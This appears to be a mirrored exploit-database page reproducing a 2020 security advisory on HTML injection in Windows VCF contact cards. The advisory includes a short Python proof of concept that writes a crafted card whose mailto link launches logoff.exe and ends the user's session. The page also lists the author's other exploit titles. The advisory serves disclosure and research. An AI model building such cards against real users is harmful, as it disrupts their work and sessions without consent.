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"Microsoft Outlook VCF cards - Denial of Service (PoC)"

Author

Exploit author

hyp3rlinx

Platform

Exploit platform

windows

Release date

Exploit published date

2020-01-06

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# Exploit Title: Microsoft Outlook VCF cards - Denial of Service (PoC)
# Date: 2020-01-04
# Exploit Author: hyp3rlinx
# Vendor Homepage: www.microsoft.com

[+] Credits: John Page (aka hyp3rlinx)		
[+] Website: hyp3rlinx.altervista.org
[+] Source:  http://hyp3rlinx.altervista.org/advisories/MICROSOFT-WINDOWS-VCF-MAILTO-LINK-DENIAL-OF-SERVICE.txt
[+] twitter.com/hyp3rlinx
[+] ISR: ApparitionSec     
 

[Vendor]
www.microsoft.com


[Product]
A VCF file is a standard file format for storing contact information for a person or business.
Microsoft Outlook supports the vCard and vCalendar features.
These are a powerful new approach to electronic Personal Data Interchange (PDI).


[Vulnerability Type]
Mailto Link Denial Of Service


[CVE Reference]
N/A


[Security Issue]
Windows VCF cards do not properly sanitize email addresses allowing for HTML injection.
A corrupt VCF card can cause all the users currently opened files and applications to be closed
and their session to be terminated without requiring any accompanying attacker supplied code. 

This can be done by crafting the Mailto link to point to Windows "logoff.exe". The corrupt VCF card can then
kill all users applications and also log the target off their computer, if the VCF card is opened in
using Windows Contacts and the link is clicked.

The logoff.exe executable lives in "C:\Windows\System32" and can terminate applications and log out users without requiring args.

This probably will affect Windows 7 the most as Windows 10 can possibly default opening VCF files in other programs
like (People). However, users can possibly still choose to open the VCF in Contacts by right-click the file.

Note, this exploit requires user interaction.

[Exploit/POC]
"VCF_DoS.py"

dirty_vcf=(
'BEGIN:VCARD\n'
'VERSION:4.0\n'
'FN:Session Terminate PoC - ApparitionSec\n'
'EMAIL:<a href="logoff">DoS@microsoft.com</a>\n'
'END:VCARD')

f=open("DoS.vcf", "w")
f.write(dirty_vcf)
f.close()

print "VCF Denial Of Service card created!"
print "By hyp3rlinx"


[POC Video URL]
https://www.youtube.com/watch?v=P4OGN7pZLSg


[Network Access]
Local


[Severity]
Medium


[Disclosure Timeline]
Vendor Notification: January 2, 2020
MSRC : "In order to investigate your report I will need an explanation on how an attacker could use the information
        to exploit another user remotely without the use of social engineering... As such, this thread is being closed"
      : January 3, 2020
January 4, 2020 : Public Disclosure


[+] Disclaimer
The information contained within this advisory is supplied "as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory, provided that it is not altered except by reformatting it, and
that due credit is given. Permission is explicitly given for insertion in vulnerability databases and similar, provided that due credit
is given to the author. The author is not responsible for any misuse of the information contained herein and accepts no responsibility
for any damage caused by the use or misuse of this information. The author prohibits any malicious use of security related information
or exploits by the author or elsewhere. All content (c).

hyp3rlinx
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2020-07-01"RM Downloader 2.50.60 2006.06.23 - 'Load' Local Buffer Overflow (EggHunter) (SEH) (PoC)"localwindows"Paras Bhatia"
2020-06-30"Reside Property Management 3.0 - 'profile' SQL Injection"webappsphp"Behzad Khalifeh"
2020-06-30"Victor CMS 1.0 - 'user_firstname' Persistent Cross-Site Scripting"webappsphp"Anushree Priyadarshini"
2020-06-26"Windscribe 1.83 - 'WindscribeService' Unquoted Service Path"localwindows"Ethan Seow"
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2020-06-12"Avaya IP Office 11 - Password Disclosure"webappsmultiplehyp3rlinx
2020-06-10"HFS Http File Server 2.3m Build 300 - Buffer Overflow (PoC)"remotemultiplehyp3rlinx
2020-06-10"WinGate 9.4.1.5998 - Insecure Folder Permissions"localwindowshyp3rlinx
2020-04-21"Neowise CarbonFTP 1.4 - Insecure Proprietary Password Encryption"remotewindowshyp3rlinx
2020-04-06"Microsoft NET USE win10 - Insufficient Authentication Logic"localwindowshyp3rlinx
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2020-01-17"Trend Micro Maximum Security 2019 - Privilege Escalation"localwindowshyp3rlinx
2020-01-17"Trend Micro Maximum Security 2019 - Arbitrary Code Execution"localwindowshyp3rlinx
2020-01-06"Microsoft Outlook VCF cards - Denial of Service (PoC)"doswindowshyp3rlinx
2020-01-01"Microsoft Windows .Group File - Code Execution"localwindowshyp3rlinx
2019-12-03"Microsoft Windows Media Center 2002 - XML External Entity MotW Bypass"localxmlhyp3rlinx
2019-12-02"Visual Studio 2008 - XML External Entity Injection"localxmlhyp3rlinx
2019-12-02"Max Secure Anti Virus Plus 19.0.4.020 - Insecure File Permissions"localwindowshyp3rlinx
2019-12-02"Microsoft Excel 2016 1901 - XML External Entity Injection"localxmlhyp3rlinx
2019-11-13"ScanGuard Antivirus 2020 - Insecure Folder Permissions"localwindowshyp3rlinx
2019-10-21"Trend Micro Anti-Threat Toolkit 1.62.0.1218 - Remote Code Execution"localwindowshyp3rlinx
2019-09-06"Windows NTFS - Privileged File Access Enumeration"localwindowshyp3rlinx
2019-08-14"Windows PowerShell - Unsanitized Filename Command Execution"doswindowshyp3rlinx
2019-07-24"Trend Micro Deep Discovery Inspector IDS - Security Bypass"remotemultiplehyp3rlinx
2019-07-17"MAPLE Computer WBT SNMP Administrator 2.0.195.15 - Remote Buffer Overflow"remotewindowshyp3rlinx
2019-07-16"Microsoft Compiled HTML Help / Uncompiled .chm File - XML External Entity Injection"doswindowshyp3rlinx
2019-06-17"HC10 HC.Server Service 10.14 - Remote Invalid Pointer Write"doswindowshyp3rlinx
2019-05-03"Windows PowerShell ISE - Remote Code Execution"localwindowshyp3rlinx
2019-04-12"Microsoft Internet Explorer 11 - XML External Entity Injection"localwindowshyp3rlinx
2019-03-13"Microsoft Windows - .reg File / Dialog Box Message Spoofing"doswindowshyp3rlinx
2019-01-23"Microsoft Windows CONTACT - HTML Injection / Remote Code Execution"localwindowshyp3rlinx
2019-01-17"Microsoft Windows CONTACT - Remote Code Execution"localwindowshyp3rlinx
2019-01-15"Microsoft Windows VCF - Remote Code Execution"localwindowshyp3rlinx
2018-12-04"NEC Univerge Sv9100 WebPro - 6.00 - Predictable Session ID / Clear Text Password Storage"webappshardwarehyp3rlinx
import requests
response = requests.get('https://www.nmmapper.com/api/exploitdetails/47878/?format=json')

For full documentation follow the link above

Cipherscan. A very simple way to find out which SSL ciphersuites are supported by a target.

Identify and fingerprint Web Application Firewall (WAF) products protecting a website.